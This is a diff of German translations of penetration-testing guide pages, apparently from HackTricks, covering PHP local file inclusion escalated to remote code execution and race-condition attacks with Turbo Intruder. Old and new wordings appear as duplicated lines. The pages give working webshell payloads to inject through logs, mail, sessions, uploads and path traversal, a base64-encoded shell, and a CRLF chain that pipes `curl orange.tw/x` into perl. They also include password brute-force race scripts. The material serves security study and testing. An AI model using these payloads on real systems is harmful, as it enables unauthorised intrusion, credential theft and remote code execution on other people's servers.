Kurz gesagt verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion, die die Datei öffnet**, einen **Fehler** auslöst.
Um dann das erste Zeichen zu leaken, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **weitere Zeichen an den Anfang zu platzieren und diese zu leaken**.
Dann wird, um das erste Zeichen zu leak, der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet; schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** eingesetzt, um andere Zeichen an den Anfang zu platzieren und sie zu leak.
Funktionen, die möglicherweise verwundbar sind: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für die technischen Details siehe den erwähnten Beitrag!
@ -426,22 +426,22 @@ Für die technischen Details siehe den erwähnten Beitrag!
### Arbitrary File Write via Path Traversal (Webshell RCE)
Wenn serverseitiger Code, der Dateien entgegennimmt/uploads, den Zielpfad mithilfe benutzerkontrollierter Daten (z. B. eines Dateinamens oder einer URL) ohne Canonicalisierung und Validierung zusammenbaut, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis ausbrechen und einen arbitrary file write verursachen. Wenn du die Payload in ein web-exposed Verzeichnis platzieren kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst.
Wenn serverseitiger Code, der Dateien verarbeitet/hochlädt, den Zielpfad unter Verwendung von vom Benutzer kontrollierten Daten (z. B. einem Dateinamen oder einer URL) ohne Kanonisierung und Validierung zusammenbaut, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und ein beliebiges Schreiben von Dateien verursachen. Wenn du das payload in ein web-exponiertes Verzeichnis platzieren kannst, erhältst du normalerweise unauthentifizierte RCE, indem du einen webshell ablegst.
Typischer Exploit-Workflow:
- Identifiziere ein Schreib-Primitive in einem Endpoint oder Background Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Bestimme web-exposed directories. Häufige Beispiele:
Typischer Exploit-Ablauf:
- Identifiziere eine Schreib-Primitive in einem Endpoint oder Hintergrund-Worker, der einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Bestimme web-exponierte Verzeichnisse. Häufige Beispiele:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/`drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\`drop `shell.aspx`
- Erstelle einen Traversal-Pfad, der aus dem vorgesehenen Storage-Verzeichnis in den Webroot ausbricht, und füge deinen Webshell-Inhalt ein.
- Rufe das abgelegte Payload im Browser auf und führe Befehle aus.
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp` ablegen
- IIS: `C:\inetpub\wwwroot\``shell.aspx` ablegen
- Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Speicherverzeichnis in das webroot ausbricht, und füge deinen webshell-Inhalt ein.
- Rufe das abgelegte payload im Browser auf und führe Befehle aus.
Hinweise:
- Der verwundbare Dienst, der den Schreibvorgang durchführt, kann auf einem Nicht-HTTP-Port lauschen (z. B. ein JMF XML Listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später dein Payload ausliefern.
- In Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Fehlende Canonicalisierung/Allow-Listing ist der Kernfehler.
- Der verwundbare Dienst, der das Schreiben durchführt, kann auf einem Nicht-HTTP-Port lauschen (z. B. ein JMF XML Listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später dein payload ausliefern.
- Bei Java-Stacks werden solche Dateischreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Fehlende Kanonisierung/Allow-Listing ist die Kernschwachstelle.
Generisches XML/JMF-style Beispiel (Produkt-Schemas variieren der DOCTYPE/body-Wrapper ist für den Traversal irrelevant):
Generisches XML/JMF-artiges Beispiel (Produkt-Schemata variieren der DOCTYPE/body wrapper ist für den Traversal irrelevant):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -465,26 +465,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachkomme eines zugelassenen Basisverzeichnisses ist.
- Jegliche Pfade ablehnen, die `..`, absolute Wurzeln oder Laufwerksbuchstaben enthalten; bevorzugen Sie generierte Dateinamen.
- Den Schreibprozess unter einem niedrig privilegierten Konto ausführen und Schreibverzeichnisse von den ausgelieferten Document-Roots trennen.
Härtung, die diese Fehlerklasse verhindert:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachfahre eines allow-listeten Basisverzeichnisses ist.
- Jeden Pfad ablehnen, der `..`, absolute Roots oder Laufwerksbuchstaben enthält; bevorzugt generierte Dateinamen.
- Den Writer als low-privileged Account ausführen und Schreibverzeichnisse von den served roots trennen.
## Remote File Inclusion
Vorher erklärt, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Wenn der Apache- oder Nginx-Server **vulnerable to LFI** innerhalb der include-Funktion ist, können Sie versuchen, auf **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** zuzugreifen, in den **user agent** oder in einen **GET parameter** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei einzubinden
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
> [!WARNING]
> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" verändert werden, **PHP dort einen Fehler werfen wird** und **nichts weiter ausgeführt wird**.
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
>
> Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, sonst erzeugt PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler und Sie erhalten keine zweite Chance.
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
Das kann auch in anderen Logs gemacht werden, aber **sei vorsichtig,** der Code in den Logs könnte URL encoded sein und das könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte innerhalb dieses Headers eingefügt werden.\
Weitere mögliche Log-Pfade:
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -500,42 +500,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### Per E-Mail
**Sende eine E-Mail** an ein internes Konto (user@localhost), die deine PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzubinden.
**Sende eine Mail** an ein internes Konto (user@localhost), die deinen PHP payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuche, die Mail des Nutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** zu include.
### Per /proc/*/fd/*
### Über /proc/*/fd/*
1. Lade viele shells hoch (zum Beispiel: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), mit $PID = PID des Prozesses (can be brute forced) und $FD dem file descriptor (can be brute forced too)
1. Upload a lot of shells (zum Beispiel: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), wobei $PID die PID des Prozesses ist (can be brute forced) und $FD der file descriptor (can be brute forced too)
### Per /proc/self/environ
### Über /proc/self/environ
Wie bei einer Logdatei: Sende die payload im User-Agent — sie wird in /proc/self/environ reflektiert.
Wie eine Logdatei: sende das payload im User-Agent — es wird in der Datei /proc/self/environ reflektiert.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Per upload
### Via upload
Wenn du eine Datei uploaden kannst, injiziere einfach das shell payload darin (z. B.: `<?php system($_GET['c']); ?>` ).
Wenn du eine Datei uploaden kannst, injiziere einfach die shell payload darin (z. B.: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Um die Datei lesbar zu halten, ist es am besten, Daten in die Metadaten von Bildern/Dokumenten/PDFs einzufügen
Um die Datei lesbar zu halten, ist es am besten, sie in die Metadaten der Bilder/doc/pdf zu injizieren
### Über ZIP-Datei-Upload
### Via ZIP-Datei-Upload
Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:
Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und rufe sie auf:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Über PHP sessions
Prüfe, ob die Website PHP Session (PHPSESSID) verwendet
Prüfe, ob die Website PHP Session (PHPSESSID) verwendet.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP werden diese sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert
In PHP werden diese Sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -544,48 +544,47 @@ Setze das Cookie auf `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Nutze LFI, um die PHP-Session-Datei einzubinden.
Verwende das LFI, um die PHP-Session-Datei einzubinden.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Über ssh
Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche auf **\<HOME>/.ssh/id_rsa** zuzugreifen.
Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\<HOME>/.ssh/id_rsa** zuzugreifen
### **Über** **vsftpd** _**Protokolle**_
### **Über** **vsftpd** _**logs**_
Die Protokolle des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle vorhanden ist und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
Die Logs des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. Falls eine Local File Inclusion (LFI)-Schwachstelle besteht und Zugriff auf einen exponierten vsftpd-Server möglich ist, können folgende Schritte in Betracht gezogen werden:
1. Injiziere eine PHP-Payload in das Benutzername-Feld während des Anmeldevorgangs.
2. Nach der Injection nutze die LFI, um die Server-Protokolle aus _**/var/log/vsftpd.log**_ auszulesen.
1. Injiziere ein PHP-Payload in das Username-Feld während des Login-Vorgangs.
2. Nach der Injection nutze die LFI, um die Server-Logs von _**/var/log/vsftpd.log**_ auszulesen.
### Über php base64 filter (using base64)
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64 filter einfach Nicht-Base64. Du kannst das nutzen, um die Dateiendungsprüfung zu umgehen: wenn du Base64 lieferst, das mit ".php" endet, würde er einfach den "." ignorieren und "php" an das Base64 anhängen. Hier ist ein Beispiel-Payload:
Wie in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article gezeigt, ignoriert der PHP base64 filter einfach Nicht-base64. Du kannst das verwenden, um die Dateiendungsprüfung zu umgehen: wenn du base64 lieferst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Über php filters (keine Datei nötig)
### Via php filters (keine Datei erforderlich)
Dieses [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters** verwenden kannst, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass du beliebigen php code für das include erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters** verwenden kannst, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass du **beliebigen php code** für das include **erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen**.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Über segmentation fault
**Upload** eine Datei, die als **temporary** in `/tmp` gespeichert wird, löse dann in derselben **same request** einen **segmentation fault** aus — danach wird die **temporary file won't be deleted** und du kannst nach ihr suchen.
### Via segmentation fault
**Lade** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird; löse dann in der **gleichen Anfrage** einen **segmentation fault** aus — die **temporäre Datei wird nicht gelöscht** und du kannst danach danach danach nach ihr suchen.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Über Nginx temp file storage
### Via Nginx temp file storage
Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:
@ -594,33 +593,33 @@ Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Über PHP_SESSION_UPLOAD_PROGRESS
### Via PHP_SESSION_UPLOAD_PROGRESS
Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten angibst, wird PHP die **enable the session for you**. Du könntest dies missbrauchen, um RCE zu erreichen:
Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **keine Session** hast und `session.auto_start` auf `Off` steht. Wenn du **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten mitsendest, wird PHP die Session **für dich aktivieren**. Das kannst du ausnutzen, um RCE zu bekommen:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Über temp file uploads in Windows
### Via temp file uploads in Windows
Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erhalten:
Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erreichen:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Über `pearcmd.php` + URL args
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Außerdem ist es möglich, dem Script Argumente über die URL zu übergeben, weil angegeben ist, dass ein URL-Param ohne `=` als Argument verwendet werden sollte. Siehe auch [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Außerdem ist es möglich, Argumente per URL an das Script zu übergeben, da angegeben ist, dass ein URL-Parameter ohne `=` als Argument verwendet werden sollte. Siehe auch [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Im Folgenden wird eine CRLF vuln ausgenutzt, um RCE zu erlangen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Im Folgenden wird eine CRLF vuln ausgenutzt, um RCE zu erreichen (aus [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -629,7 +628,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Über phpinfo() (file_uploads = on)
Wenn du eine **Local File Inclusion** und eine Datei gefunden hast, die **phpinfo()** mit file_uploads = on exponiert, kannst du RCE erhalten:
Wenn du eine **Local File Inclusion** gefunden hast und eine Datei, die **phpinfo()** mit file_uploads = on anzeigt, kannst du RCE erlangen:
{{#ref}}
@ -638,16 +637,16 @@ lfi2rce-via-phpinfo.md
### Über compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Wenn du eine **Local File Inclusion** gefunden hast und du den Pfad der temporären Datei **exfiltrieren** kannst, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Marker** enthält, kannst du versuchen, diese Überprüfung mit dieser **Race Condition** zu umgehen:
Wenn du eine **Local File Inclusion** gefunden hast und du **den Pfad** der temporären Datei exfiltrieren kannst, ABER der **Server** überprüft, ob die **einzubindende Datei PHP-Markierungen** enthält, kannst du versuchen, diese **Prüfung zu umgehen** mit dieser **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Über eternal waiting + bruteforce
### Über ewiges Warten + bruteforce
Wenn du die LFI missbrauchen kannst, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **aufhängen** zu lassen, könntest du anschließend stundenlang Dateinamen per **bruteforce** ausprobieren, um die temporäre Datei zu finden:
Wenn du das LFI ausnutzen kannst, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **aufhängen** zu lassen, könntest du dann **über Stunden Dateinamen brute-forcen**, um die temporäre Datei zu finden:
{{#ref}}
@ -656,10 +655,10 @@ lfi2rce-via-eternal-waiting.md
### Zu einem Fatal Error
Wenn du eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einbindest. (Du musst dieselbe Datei zweimal einbinden, um diesen Fehler auszulösen).
Wenn du eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einbindest. (Du musst dieselbe Datei 2-mal einbinden, um diesen Fehler auszulösen).
**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
**Ich weiß nicht, wie nützlich das ist, aber es könnte es sein.**\
_Selbst wenn du einen PHP Fatal Error verursachst, werden die hochgeladenen PHP-Temporärdateien gelöscht._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

View File

@ -3,47 +3,47 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> Für ein tiefes Verständnis dieser Technik siehe den Originalreport unter [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> Für ein tiefes Verständnis dieser Technik lesen Sie den Originalbericht unter [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Verbesserung von Race Condition-Angriffen
Das Hauptproblem beim Ausnutzen von Race Conditions besteht darin sicherzustellen, dass mehrere Requests gleichzeitig verarbeitet werden, mit **sehr geringen Unterschieden in ihren Verarbeitungszeiten — idealerweise weniger als 1ms**.
Das Hauptproblem beim Ausnutzen von Race Conditions besteht darin sicherzustellen, dass mehrere Requests gleichzeitig verarbeitet werden, mit **sehr geringen Unterschieden in ihren Verarbeitungszeiten — idealerweise unter 1 ms**.
Im Folgenden finden Sie einige Techniken zum Synchronisieren von Anfragen:
Hier finden Sie einige Techniken zum Synchronisieren von Requests:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Unterstützt das Senden von zwei Requests über eine einzige TCP-Verbindung, wodurch der Einfluss von Netzwerk-Jitter reduziert wird. Aufgrund serverseitiger Unterschiede reichen jedoch zwei Requests möglicherweise nicht aus, um einen konsistenten Race-Condition-Exploit zu erzielen.
- **HTTP/1.1 'Last-Byte Sync'**: Ermöglicht das Vorversenden der meisten Teile von 2030 Requests und das Zurückhalten eines kleinen Fragments, das dann gemeinsam gesendet wird, wodurch eine gleichzeitige Ankunft am Server erreicht wird.
- **HTTP/2**: Unterstützt das Senden von zwei Requests über eine einzige TCP-Verbindung, wodurch Netzjitter weniger ins Gewicht fällt. Aufgrund serverseitiger Variationen reichen zwei Requests jedoch möglicherweise nicht für einen zuverlässigen Race Condition-Exploit.
- **HTTP/1.1 'Last-Byte Sync'**: Ermöglicht das Vorausversenden der meisten Teile von 2030 Requests, wobei ein kleines Fragment zurückgehalten wird, das dann gemeinsam gesendet wird, um ein gleichzeitiges Eintreffen beim Server zu erreichen.
**Preparation for Last-Byte Sync** involves:
**Vorbereitung für Last-Byte Sync** beinhaltet:
1. Header und Body-Daten ohne das letzte Byte senden, ohne den Stream zu beenden.
2. Nach dem ersten Senden eine Pause von 100 ms einlegen.
3. TCP_NODELAY deaktivieren, um Nagle's algorithm zum Bündeln der finalen Frames zu nutzen.
4. Pingen, um die Verbindung aufzuwärmen.
1. Senden von Headern und Body-Daten minus dem letzten Byte, ohne den Stream zu beenden.
2. Warten für 100 ms nach dem ersten Senden.
3. Deaktivieren von TCP_NODELAY, um Nagle's algorithm zu nutzen und die letzten Frames zu bündeln.
4. Ping durchführen, um die Verbindung vorzuwärmen.
Das anschließende Senden der zurückgehaltenen Frames sollte dazu führen, dass sie in einem einzigen Paket ankommen, nachweisbar mit Wireshark. Diese Methode gilt nicht für statische Dateien, die normalerweise nicht bei RC-Angriffen verwendet werden.
Das anschließende Senden der zurückgehaltenen Frames sollte dazu führen, dass sie in einem einzelnen Packet ankommen, was sich mit Wireshark überprüfen lässt. Diese Methode gilt nicht für statische Dateien, die normalerweise nicht in RC-Angriffe involviert sind.
### Anpassung an die Server-Architektur
Das Verständnis der Architektur des Ziels ist entscheidend. Frontend-Server können Requests unterschiedlich weiterleiten, was das Timing beeinflusst. Ein vorzeitiges serverseitiges Aufwärmen der Verbindung durch belanglose Requests kann das Request-Timing normalisieren.
Das Verständnis der Zielarchitektur ist entscheidend. Front-end-Server können Requests unterschiedlich routen, was die Timing-Effekte beeinflusst. Vorab durchgeführtes server-seitiges Connection Warming mittels unkritischer Requests kann das Timing der Requests angleichen.
#### Umgang mit sessionbasierter Sperrung
#### Umgang mit session-basierter Sperrung
Frameworks wie PHP's session handler serialisieren Requests pro Session, was Schwachstellen verbergen kann. Die Nutzung unterschiedlicher session tokens für jede Anfrage kann dieses Problem umgehen.
Frameworks wie PHPs session handler serialisieren Requests pro Session und können so Sicherheitslücken verschleiern. Die Verwendung unterschiedlicher session tokens für jede Request kann dieses Problem umgehen.
#### Umgehen von Rate- oder Ressourcen-Limits
#### Überwinden von Rate- oder Ressourcenlimits
Wenn das Aufwärmen der Verbindung nicht wirksam ist, kann das gezielte Auslösen von Rate- oder Ressourcen-Limit-Verzögerungen des Webservers durch eine Flut von Dummy-Requests den single-packet attack erleichtern, indem eine serverseitige Verzögerung erzeugt wird, die für Race Conditions förderlich ist.
Wenn Connection Warming nicht wirkt, kann das absichtliche Auslösen von Rate- oder Ressourcenlimit-Verzögerungen auf Webservern durch eine Flut von Dummy-Requests den Single-Packet-Angriff begünstigen, indem dadurch serverseitige Verzögerungen entstehen, die Race Conditions fördern.
## Attack Examples
## Angriffsbeispiele
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Sie können die Anfrage an **Turbo intruder** senden (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), im Request den Wert ändern, den Sie für **`%s`** brute-forcen möchten, z. B. `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` und dann im Dropdown **`examples/race-single-packer-attack.py`** auswählen:
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Sie können die Anfrage an **Turbo intruder** senden (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), im Request den Wert ändern, den Sie für **`%s`** brute-forcen möchten, wie in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, und dann **`examples/race-single-packer-attack.py`** aus dem Dropdown auswählen:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Wenn Sie unterschiedliche Werte senden möchten, können Sie den Code wie folgt anpassen, sodass eine Wortliste aus der Zwischenablage verwendet wird:
Wenn Sie **verschiedene Werte senden** wollen, können Sie den Code wie folgt anpassen, damit eine wordlist aus der Zwischenablage verwendet wird:
```python
passwords = wordlists.clipboard
for password in passwords:
@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
> [!WARNING]
> Wenn die Website HTTP2 nicht unterstützt (nur HTTP1.1), verwende `Engine.THREADED` oder `Engine.BURP` anstelle von `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Wenn du einen request an 1 endpoint senden musst und anschließend mehrere an andere endpoints, um die RCE auszulösen, kannst du das Skript `race-single-packet-attack.py` wie folgt ändern:
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Falls du eine Anfrage an 1 endpoint senden musst und anschließend mehrere an andere endpoints, um die RCE auszulösen, kannst du das Skript `race-single-packet-attack.py` wie folgt ändern:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,15 +83,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- Es ist auch in **Repeater** via der neuen '**Send group in parallel**' Option in Burp Suite verfügbar.
- Für **limit-overrun** kannst du einfach **same request 50 times** zur Gruppe hinzufügen.
- Für **connection warming** kannst du **add** am **beginning** der **group** einige **requests** an einen nicht-statischen Bereich des Webservers senden.
- Für **delaying** des Prozesses **between** der Verarbeitung **one request and another** in a 2 substates steps, könntest du **add extra requests between** beide **requests**.
- Für ein **multi-endpoint** RC könntest du damit beginnen, die **request** zu senden, die in den **hidden state** geht, und direkt danach **50 requests**, die **exploits the hidden state**.
- Es ist außerdem in **Repeater** über die neue Option '**Send group in parallel**' in Burp Suite verfügbar.
- Für **limit-overrun** könntest du einfach dieselbe **Anfrage 50-mal** in die Gruppe einfügen.
- Für **connection warming** könntest du am **Anfang** der **Gruppe** einige **Anfragen** an einen nicht-statischen Teil des Webservers hinzufügen.
- Für **delaying** des Prozesses **zwischen** der Verarbeitung **einer Anfrage und einer anderen** in zwei Substate-Schritten könntest du zusätzliche **Anfragen zwischen** beiden Anfragen einfügen.
- Für ein **multi-endpoint** RC könntest du damit beginnen, die **Anfrage** zu senden, die **in den versteckten Zustand übergeht**, und dann unmittelbar danach **50 Anfragen**, die den **versteckten Zustand ausnutzen**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern und sie kontinuierlich zu verifizieren, bis das Verifizierungstoken der neuen E-Mail an die alte E-Mail geliefert wird (das passiert, weil im Code eine RC auftrat, bei der es möglich war, eine E-Mail zu ändern, aber die Verifizierung an die alte gesendet wurde, da die Variable, die die E-Mail angab, bereits mit der ersten gefüllt war).\
